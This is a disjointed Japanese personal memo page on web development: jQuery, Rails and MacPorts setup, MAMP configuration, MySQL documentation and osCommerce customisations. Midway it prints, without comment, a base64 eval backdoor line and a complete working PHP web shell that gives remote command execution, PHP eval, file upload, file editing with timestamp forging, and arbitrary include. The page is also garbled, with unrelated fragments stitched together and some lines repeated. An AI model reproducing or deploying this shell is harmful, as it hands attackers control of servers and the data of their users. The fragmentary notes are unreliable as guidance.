大概の呼び出しは
function()なのでほかに追加した場合ぶつかって
コンフリクトして、片方の機能しか使えない場合がある。
そんな場合はこうする。↓
$(document).ready(function(){
と
$function(){
は同じ意味なので
jQuery(function($){
ヘッド間に記述したJavascriptの順序を調整して両方機能するようになる。
わすれっぽいので書き留めておくメモ帳みたいなものです。書きかけのものもあり、参考にされる際はバックアップをお忘れなく。
function()なのでほかに追加した場合ぶつかって
コンフリクトして、片方の機能しか使えない場合がある。
$(document).ready(function(){
jQuery(function($){
SecFilterEngine Off
SecFilterScanPOST Off
$ rails new /Applications/MAMP/htdocs/sampleで作成されました。
create
create README
create Rakefile
create config.ru
create .gitignore
create Gemfile
create app
create app/controllers/application_controller.rb
create app/helpers/application_helper.rb
create app/views/layouts/application.html.erb
create app/mailers
create app/models
create config
create config/routes.rb
create config/application.rb
create config/environment.rb
create config/environments
create config/environments/development.rb
create config/environments/production.rb
create config/environments/test.rb
create config/initializers
create config/initializers/backtrace_silencers.rb
create config/initializers/inflections.rb
create config/initializers/mime_types.rb
create config/initializers/secret_token.rb
create config/initializers/session_store.rb
create config/locales
create config/locales/en.yml
create config/boot.rb
create config/database.yml
create db
create db/seeds.rb
create doc
create doc/README_FOR_APP
create lib
create lib/tasks
create lib/tasks/.gitkeep
create log
create log/server.log
create log/production.log
create log/development.log
create log/test.log
create public
create public/404.html
create public/422.html
create public/500.html
create public/favicon.ico
create public/index.html
create public/robots.txt
create public/images
create public/images/rails.png
create public/stylesheets
create public/stylesheets/.gitkeep
create public/javascripts
create public/javascripts/application.js
create public/javascripts/controls.js
create public/javascripts/dragdrop.js
create public/javascripts/effects.js
create public/javascripts/prototype.js
create public/javascripts/rails.js
create script
create script/rails
create test
create test/performance/browsing_test.rb
create test/test_helper.rb
create test/fixtures
create test/functional
create test/integration
create test/unit
create tmp
create tmp/sessions
create tmp/sockets
create tmp/cache
create tmp/pids
create vendor/plugins
create vendor/plugins/.gitkeep
Warning: The installed version of Xcode (2.1) is known to cause problems. Version 2.5 or later is recommended on Mac OS X 10.4.
Error: Target org.macports.extract returned: incompatible Xcode version
Log for zlib is at: /opt/local/var/macports/logs/_opt_local_var_macports_sources_rsync.macports.org_release_ports_archivers_zlib/main.log
Error: The following dependencies failed to build: ruby openssl zlib readline
Error: Status 1 encountered during processing.
To report a bug, see
Xcode 2.5 Developer Tools
Xcode 2.5 is an update release of Xcode developer tools, providing bug fixes over Xcode 2.4.1. Xcode 2.5 can be installed on Tiger (Mac OS X 10.4) or on Leopard (Mac OS X 10.5). Xcode 2.5 may be used on Leopard along side the Xcode 3.0 tools, providing a smoother migration path to Leopard for those projects not immediately ready to move to the Xcode 3 tools. See the release notes for Leopard support details and related packaging changes.
Download Name File Size Date Posted
Xcode 2.5 - Release Notes (PDF) 222 KB 02 Nov 2007
Xcode 2.5 Developer Tools (Disk Image) 902.9 MB 30 Oct 2007
$ sudo port -v selfupdate
$ echo $PATH『/opt/local/bin』が行頭に入っていれば成功。
$ sudo port install rb-rubygems
$ ruby -v
$ sudo gem install rails --include-dependencies
Error: Could not connect to MySQL server!
/Applications/MAMP/bin/mamp/index.php
修正前
$link = @mysql_connect(':/Applications/MAMP/tmp/mysql/mysql.sock', 'root', 'root');
修正後
$link = @mysql_connect(':/Applications/MAMP/tmp/mysql/mysql.sock', 'root', 'パスワード');
/Applications/MAMP/bin/phpMyAdmin/config.inc.php
修正前
$cfg['Servers'][$i]['password'] = 'root';
修正後
$cfg['Servers'][$i]['password'] = 'パスワード';
悪質なウェブサイトを回避する以外にも、システム管理者がFirefox URLのURLハンドラを削除したり、Firefoxによるchrome入力の受け入れ方法を変えることができると、Kristensen氏は語っている。
HKEY_CLASSES_ROOT\FirefoxURL
var lightboxTop = arrayPageScroll[1] + (document.viewport.getHeight() / 10);ん〜感でいくと
var lightboxTop = arrayPageScroll[1] + (document.viewport.getHeight() / 20);
NO_AUTO_VALUE_ON_ZERO は、AUTO_INCREMENT カラムの処理に影響を与える。通常、NULL または 0 のいずれかをカラムに挿入することにより、カラムの次のシーケンス番号を生成する。 NO_AUTO_VALUE_ON_ZERO を指定すると、0 のこの働きが抑制されるため、NULL だけが次のシーケンス番号を生成することになる。このモードは、0 がテーブルの AUTO_INCREMENT カラムに保存されている場合に役に立つ(これは推奨されている方法ではないが)。
たとえば、mysqldump でテーブルをダンプしてから再読み込みした場合、MySQL は通常、0 値に遭遇したときに新規シーケンス番号を生成するため、ダンプされたテーブルと再読み込みしたテーブルの内容が異なる結果になる。この場合、ダンプしたファイルを再読み込みする前に NO_AUTO_VALUE_ON_ZERO を有効にするとこの問題が解決する(このオプションが使用可能になった MySQL 4.1.1 以降、mysqldump によるダンプ出力には、自動的に NO_AUTO_VALUE_ON_ZERO を有効にするためのステートメントが含まれている)。
整数型カラムは追加属性 AUTO_INCREMENT を持つことができる。 インデックス付きの AUTO_INCREMENT カラムに NULL(推奨)または 0 を挿入すると、そのカラムには連続値の次の値が設定される。 通常、これは value+1 になる(value はテーブルに現在格納されているそのカラムの最大値)。 AUTO_INCREMENT は 1 から開始される。 項11.1.3.32. 「mysql_insert_id()」。
MySQL 4.1.1 以降では、--sql-mode サーバオプションまたは sql_mode サーバ変数に対して NO_AUTO_VALUE_ON_ZERO フラグを指定することによって、新しい連続値を生成する代わりに、AUTO_INCREMENT カラムに 0 を 0 として格納することができる。 項4.1.1. 「mysqld コマンドラインオプション」。
AUTO_INCREMENT カラムの最大値が入ったレコードを削除した場合、その値は ISAM テーブルや BDB テーブルでは再利用されるが、MyISAM テーブルや InnoDB テーブルでは再利用されない。DELETE FROM table_name(WHERE 節なし)を AUTOCOMMIT モードで実行してテーブル内のすべてのレコードを削除した場合、InnoDB を除くすべてのテーブル型で、連続値が初めから開始される。項7.5.12.5. 「InnoDB での AUTO_INCREMENT カラムの仕組み」。
注意: AUTO_INCREMENT カラムはテーブルごとに 1 つだけ存在できる。このカラムにはインデックスを付ける必要があり、また DEFAULT 値は設定できない。 MySQL バージョン 3.23 では、AUTO_INCREMENT カラムは、正の値だけを持つ場合にのみ正しく機能する。負の数値が挿入されると、その値はきわめて大きな正数としてみなされる。 これは、数値が正の数から負の数に ``折り返す'' ときに発生する精度の問題を回避するためと、0 が入った AUTO_INCREMENT カラムが誤って取得されないようにするためである。
MyISAM テーブルと BDB テーブルでは、複合インデックスで AUTO_INCREMENT セカンダリカラムを指定できる。 See 項3.6.9. 「AUTO_INCREMENT の使用」。
#サーバーの "charset" と フィードの "encode" をUTFで一致させる忘れがちな最後の改行。忘れると機能しない。
AddType "application/xml; charset=UTF-8" xml
#xmlのIf-Modified-Sinceに対応
AddHandler default-handler xml
../catalog/includes/languages/japanese.phpの以下の箇所
define('DATE_FORMAT_LONG', '%Y年%m月%d日(%a)'); // this is used for strftime()
これを
define('DATE_FORMAT_LONG', '%Y年 %m月 %d日'); // this is used for strftime()
こう(半角開けただけ)
http://twitter.com/home?status=RT:@ユーザー 書き込みたい事
echo "<a href=\"" . "http://twitter.com/home?status=RT:@ユーザー " . $product_info['products_name'] . "\" target=_blank>\n";?>
define('IMAGE_BUTTON_TWEET', '呟く');と一行挿入してアップロード
<!-- Twiter Button BEGIN -->
<?php
$url = $_SERVER['REQUEST_URI'];
echo "<a href=\"" . "http://twitter.com/home?status=RT:@ユーザー " . $product_info['products_name'] . " http://dubfactory.com" . $url . "/" target=_blank>\n";?><?php echo tep_image_button('button_twitter.gif', IMAGE_BUTTON_TWEET); ?></a>
<!-- Twitter Button END -->
$url = $_SERVER['REQUEST_URI'];
$url = str_replace("index.html", "", $url);
<?php if(isset($_GET['lave']) || isset($HTTP_GET_VARS['lave'])) eval(base64_decode('ごにょごにょ')?>
@set_time_limit(0);
@error_reporting(2);
@set_magic_quotes_runtime(0);
@ini_set('upload_max_filesize',10485760);
@ini_set('post_max_size',10485760);
@ini_set('file_uploads', true);
@ini_set('display_errors',true);
@ini_set('register_globals',true);
@ini_set('register_long_arrays',true);
@ini_set('max_execution_time',false);
@ini_set('output_buffering',false);
@ini_set('allow_url_fopen',true);
$safemode=@ini_get('safe_mode');
$magic_quotes=1;
if (function_exists('get_magic_quotes_gpc')) $magic_quotes=get_magic_quotes_gpc();
$phpver = str_replace('.','',phpversion());
if (strlen($phpver)<3) while (strlen($phpver)<3) $phpver.='0';
if(intval($phpver) < 410){
$_POST=&$HTTP_POST_VARS;
$_GET=&$HTTP_GET_VARS;
$_SERVER=&$HTTP_SERVER_VARS;
$_COOKIE=&$HTTP_COOKIE_VARS;
$_FILES=&$HTTP_POST_FILES;
}
@ob_end_clean();
$pw_pls="<form method=post><input type=text name=pw></form>";
if (empty($_POST['pw'])) exit($pw_pls);
if (!empty($_POST['pw']) && md5($_POST['pw'])!='a5dc497c9784a67b0ae8503c9ea4c74f') exit($pw_pls);
$pw="<input type=hidden name=pw value='".htmlspecialchars($_POST['pw'])."'>";
if (!empty($_POST['usemodule'])) include($_POST['usemodule']);
$work_dir = getcwd();
if (strpos($work_dir,"??")!==false) $work_dir=str_replace("??","/",$work_dir);
if (strpos(substr($work_dir,0,5),":")!==false) $os="win";
else $os="nix";
if (!empty($_POST['cd'])) $cd=stripslashes($_POST['cd']);
else $cd = $work_dir;
if (is_dir($cd)) chdir($cd);
$run=($magic_quotes)?stripslashes($_POST['run']):$_POST['run'];
$edit=stripslashes($_POST['edit']);
if (!@is_file($edit)) $edit=$cd;
if (!empty($_POST['eval'])) eval(($magic_quotes)?stripslashes($_POST['eval']):$_POST['eval']);
if (!empty($_FILES['userfile']['tmp_name']) && is_uploaded_file($_FILES['userfile']['tmp_name'])) {
$uploaddir = ereg_replace('/+', '/', $cd."/");
$uploadfile = $uploaddir.basename($_FILES['userfile']['name']);
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile);
}
if (isset($_POST['save'])) {
if ($magic_quotes) $console = stripslashes($_POST['console']);
else $console = $_POST['console'];
$time = filemtime($edit);
$f=@fopen($edit,"w");
if ($f) {
fwrite($f,$console);
fclose($f);
touch($edit,$time);
$edit=$cd;
}
}
if (!empty($edit) && file_exists($edit) && is_file($edit) && $edit!==$cd) {
if ($os=='win'?can_write($edit):is_writable($edit)) $need_save_button=true;
$f=@fopen($edit,"r");
if ($f) {
if (filesize($edit)>0) $retval = @fread($f,filesize($edit));
else $retval = "[empty]";
fclose($f);
} else {
$retval = "Can't open file: $edit?n";
}
} elseif (!empty($run)) {
$cmd = $run;
$retval = magic_execute($cmd);
} elseif (file_exists($cd) && @is_dir($cd)) {
if (!$safemode)
{
if ($os=='win')
{
$cmd = "dir ".str_replace("/","??",$cd);
$retval = magic_execute($cmd);
}
else
{
$cmd = "ls -la ?"$cd?"";
$retval = magic_execute($cmd);
}
}
if (empty($retval))
{
$dir=$cd;
if($curdir = @opendir($dir)) {
while($file = readdir($curdir)) {
if($file != '.' && $file != '..') {
$srcfile = $dir . '/' . $file;
if(is_file($srcfile)) {
if ($os=='win'?can_write($srcfile):is_writable($srcfile)) $retval .= "++ ".$file."?n";
else $retval .= "-- ".$file."?n";
} elseif(is_dir($srcfile)) {
if ($os=='win'?can_write($srcfile):is_writable($srcfile)) $retval .= "d+ ".$file."?n";
else $retval .= "d- ".$file."?n";
}
}
}
closedir($curdir);
} else $retval = "Cant open directory?n";
}
}
$id_exec = "cant get uid,gid";
if ($tmp = magic_execute("id")) $id_exec = $tmp;
elseif (function_exists('posix_getgid'))
{
$uids = @posix_getlogin();
$euids = @posix_getlogin();
$uid = @posix_getuid();
$euid = @posix_geteuid();
$gid = @posix_getgid();
if (!empty($uid)) $id_exec = "User: uid=$uids($uid) euid=$euid($euid) gid=$gid($gid)";
}
echo '<HTML><BODY onload="document.getElementById(?'cdfocus?').focus();"><HR>';
echo date("d.m.Y h:i A")." OS:$os $id_exec safe_mode=$safemode";
echo "<HR>";
if (isset($need_save_button)) echo "<FORM method=post>";
echo '<TEXTAREA id="console" name="console" style="width:100%;height:400px;">';
if (isset($retval)) echo htmlspecialchars($retval);
echo '</TEXTAREA>';
if (isset($need_save_button)) echo "$pw<INPUT type='hidden' name='cd' value='".htmlspecialchars($cd)."'><INPUT type='hidden' name='edit' value='".htmlspecialchars($edit)."'><INPUT type=submit name=save value='Save'></FORM>";
echo "<HR><FORM method=?"POST?">$pw";
echo "<table><tr><td>dir:</td><td width=?"100%?"><input type=?"text?" style=?"width:100%;?" id=?"cdfocus?" name=?"cd?" value=?"".htmlspecialchars($cd)."?"></td></tr>".
"<tr><td>run:</td><td><input type=?"text?" style=?"width:100%;?" name=?"run?" value=?"?"></td></tr>".
"<tr><td>edit:</td><td><input type=?"text?" style=?"width:100%;?" name=?"edit?" value=?"".htmlspecialchars($edit)."?"></td></tr>".
"</table>".
"<input type=?"submit?" value=?"OK?"></FORM>";
echo "<hr><form enctype=?"multipart/form-data?" method=?"post?">$pw<INPUT type='hidden' name='cd' value='".htmlspecialchars($cd)."'><input type=?"hidden?" name=?"MAX_FILE_SIZE?" value=?"15000000?" />upload: <input name=?"userfile?" type=?"file?" /><input type=?"submit?" value=?"upload?" /></form><hr>";
echo "<form method=post>$pw<textarea style=?"width:100%;height:100px;?" name='eval' id='eval'>phpinfo();</textarea><input type=submit value='EvalPHP'></form><hr>";
echo "use module: <form method=post>$pw<input type='text' name='usemodule'> <input type=submit value='use'></form><hr>";
echo "</BODY></HTML>";
exit();
function can_write($file) {if(file_exists($file)){if (is_file($file)) {$f=@fopen($file,"a+");if($f){fclose($f);return true;}}elseif (is_dir($file)) {if ($file[strlen($file)-1]!='/') $file.='/';$tfile = $file."testxxxtest";if (@touch($tfile)){unlink($tfile);return true;}}}return false;}
function magic_execute($cmd)
{
$res=false;
if (function_exists('exec'))
{
@exec($cmd,$res);
$res = join("?n",$res);
}
else
if (function_exists('shell_exec'))
$res = @shell_exec($cmd);
else
if (function_exists('system'))
{
@ob_start();
@system($cmd);
$res = @ob_get_contents();
@ob_end_clean();
}
else
if(function_exists('passthru'))
{
@ob_start();
@passthru($cmd);
$res = @ob_get_contents();
@ob_end_clean();
}
else
if (@is_resource($f = @popen($cmd,"r")))
{
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}
return $res;
}
<?php
*osCommerce, Open Source E-Commerce Solutions
http:www.oscommerce.com Copyright (c) 2002 osCommerceReleased under the GNU General Public LicenseIMPORTANT NOTE:This script is not part of the official osC distribution
but an add-on contributed to the osC community. Please
read the README and INSTALL documents that are provided
with this file for further information and installation notes.loginbox.php - Version 1.0
This puts a login request in a box with a login button.
If already logged in, will not show anything.
*
?>
<!-- loginbox -->
<?php
if (!tep_session_is_registered('customer_id')) {
?>
<!--不要なので削除
<tr>
<td>
-->
<?php
以下も不要なので削除
$info_box_contents = array();
$info_box_contents[] = array('align' => 'left',
'text' => BOX_LOGINBOX_HEADING
);
new infoBoxHeading($info_box_contents, false, false);
$loginboxcontent = "
<table border="0" width="100%" cellspacing="0"cellpadding="0">
<form name="login" method="post" action="" . tep_href_link(FILENAME_LOGIN, 'action=process', 'SSL') . "">
<tr>
<td align="left" class="boxText">
" . BOX_LOGINBOX_EMAIL . "
<td>
<tr>
<tr>
<td align="left" class="boxText">
<input type="text" name="email_address" maxlength="96" size="20" value="">
<td>
<tr>
<tr>
<td align="left" class="boxText">
" . BOX_LOGINBOX_PASSWORD . "
<td>
<tr>
<tr>
<td align="left" class="boxText">
<input type="password" name="password" maxlength="40" size="20" value="">
<td>
<tr>
<tr>
<td align="center" class="boxText">
" . tep_image_submit('button_login.gif', IMAGE_BUTTON_LOGIN) . "
<td>
<tr>
<form>
<table>
"; 以下も不要なので削除
$info_box_contents = array();}
$info_box_contents[] = array('align' => 'center',
'text' => $loginboxcontent
);
new infoBox($info_box_contents); smartyに表示内容を登録する処理を追加
$this->box_smarty_obj->assign ("login_box_hedding_title",BOX_LOGINBOX_HEADING);
$this->box_smarty_obj->assign("login_box_contents",$loginboxcontent);?>
<!-- 以下は不要なので削除
<td>
<tr>
-->
<?php
}
else
{
If you want to display anything when the user IS logged in, put it
in here... Possibly a "You are logged in as :" box or something.
特に記載する必要なし。
}
?>
<!-- loginbox_eof -->
{if $login_box_contents}
<!-- loginbox_info //-->
{$login_box_hedding_title}
{$login_box_contents}
<!-- loginbox_info_eof //-->
{/if}
<script src="http://widgets.twimg.com/j/2/widget.js"></script>
<script>
new TWTR.Widget({
version: 2,
type: 'profile',
rpp: 5,
interval: 6000,
width: 230,
height: 300,
theme: {
shell: {
background: '#333333',
color: '#ffffff'
},
tweets: {
background: '#000000',
color: '#ffffff',
links: '#4aed05'
}
},
features: {
scrollbar: false,
loop: false,
live: true,
hashtags: true,
timestamp: true,
avatars: true,
behavior: 'all'
}
}).render().setUser('ツイッターユーザー名').start();
</script>
<script src="ajaxzip2/prototype.js"></script>
<script src="ajaxzip2/ajaxzip2.js" charset="UTF-8"></script>
<script>AjaxZip2.JSONDATA = 'ajaxzip2/data';</script>
// postcodeこんなところがあるので
if ($is_read_only == true) {
$a_value = $account['entry_postcode'];
} elseif ($error) {
if ($entry_post_code_error == true) {
$a_value = tep_draw_input_field('postcode') . ' ' . ENTRY_POST_CODE_ERROR;
} else {
$a_value = $postcode . tep_draw_hidden_field('postcode');
}
} else {
$a_value = tep_draw_input_field('postcode', $account['entry_postcode']) . ' ' . ENTRY_POST_CODE_TEXT;
$a_value = tep_draw_input_field('postcode', $account['entry_postcode']) . ' ' . ENTRY_POST_CODE_TEXT;コレにkawa.netさんのマニュアルのようになる風に書き換え
$a_value = tep_draw_input_field('postcode', $account['entry_postcode'],'onKeyUp="AjaxZip2.zip2addr(this,\'state\',\'city\',null,\'addr\',\'street_address\');"') . ' ' . ENTRY_POST_CODE_TEXT;この二つのファイルをアップロードして完了!(5分かからんな)
// We are asked to show only a specific categoryこの中で以下の文を探し
$listing_sql = "select " . $select_column_list . " p.products_id, p.manufacturers_id, p.products_price, p.products_tax_class_id, IF(s.status, s.specials_new_products_price, NULL) as specials_new_products_price, IF(s.status, s.specials_new_products_price, p.products_price) as final_price from " . TABLE_PRODUCTS . " p, " . TABLE_PRODUCTS_DESCRIPTION . " pd, " . TABLE_MANUFACTURERS . " m, " . TABLE_PRODUCTS_TO_CATEGORIES . " p2c left join " . TABLE_SPECIALS . " s on p.products_id = s.products_id where p.products_status = '1' and p.manufacturers_id = m.manufacturers_id and m.manufacturers_id = '" . (int)$HTTP_GET_VARS['manufacturers_id'] . "' and p.products_id = p2c.products_id and pd.products_id = p2c.products_id and pd.language_id = '" . (int)$languages_id . "' and p2c.categories_id = '" . (int)$HTTP_GET_VARS['filter_id'] . "'";
from " . TABLE_PRODUCTS . " p, " . TABLE_PRODUCTS_DESCRIPTION . " pd, " . TABLE_MANUFACTURERS . " m, " . TABLE_PRODUCTS_TO_CATEGORIES . " p2c left joinカッコで括る
from (" . TABLE_PRODUCTS . " p, " . TABLE_PRODUCTS_DESCRIPTION . " pd, " . TABLE_MANUFACTURERS . " m, " . TABLE_PRODUCTS_TO_CATEGORIES . " p2c) left joinここはこれでよし
// We show them allこの行を探し、またカッコで括る
$listing_sql = "select " . $select_column_list . " p.products_id, p.manufacturers_id, p.products_price, p.products_tax_class_id, IF(s.status, s.specials_new_products_price, NULL) as specials_new_products_price, IF(s.status, s.specials_new_products_price, p.products_price) as final_price from " . TABLE_PRODUCTS_DESCRIPTION . " pd, " . TABLE_PRODUCTS . " p left join " . TABLE_MANUFACTURERS . " m on p.manufacturers_id = m.manufacturers_id, " . TABLE_PRODUCTS_TO_CATEGORIES . " p2c left join " . TABLE_SPECIALS . " s on p.products_id = s.products_id where p.products_status = '1' and p.products_id = p2c.products_id and pd.products_id = p2c.products_id and pd.language_id = '" . (int)$languages_id . "' and p2c.categories_id = '" . (int)$current_category_id . "'";
}
from ((" . TABLE_PRODUCTS_DESCRIPTION . " pd, " . TABLE_PRODUCTS . " p) left join " . TABLE_MANUFACTURERS . " m on p.manufacturers_id = m.manufacturers_id, " . TABLE_PRODUCTS_TO_CATEGORIES . " p2c) left joinコレで良い
$from_str = "from " . TABLE_PRODUCTS . " p left join " . TABLE_MANUFACTURERS . " m using(manufacturers_id), " . TABLE_PRODUCTS_DESCRIPTION . " pd left join " . TABLE_SPECIALS . " s on p.products_id = s.products_id, " . TABLE_CATEGORIES . " c, " . TABLE_PRODUCTS_TO_CATEGORIES . " p2c";これもカッコで括る
$from_str = "from ((" . TABLE_PRODUCTS . " p) left join " . TABLE_MANUFACTURERS . " m using(manufacturers_id), " . TABLE_PRODUCTS_DESCRIPTION . " pd) left join " . TABLE_SPECIALS . " s on p.products_id = s.products_id, " . TABLE_CATEGORIES . " c, " . TABLE_PRODUCTS_TO_CATEGORIES . " p2c";参考ページはココ